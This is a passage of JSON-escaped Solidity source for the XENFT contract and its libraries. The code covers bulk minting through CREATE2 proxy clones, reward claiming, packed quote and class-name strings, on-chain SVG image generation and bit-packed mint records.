{\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 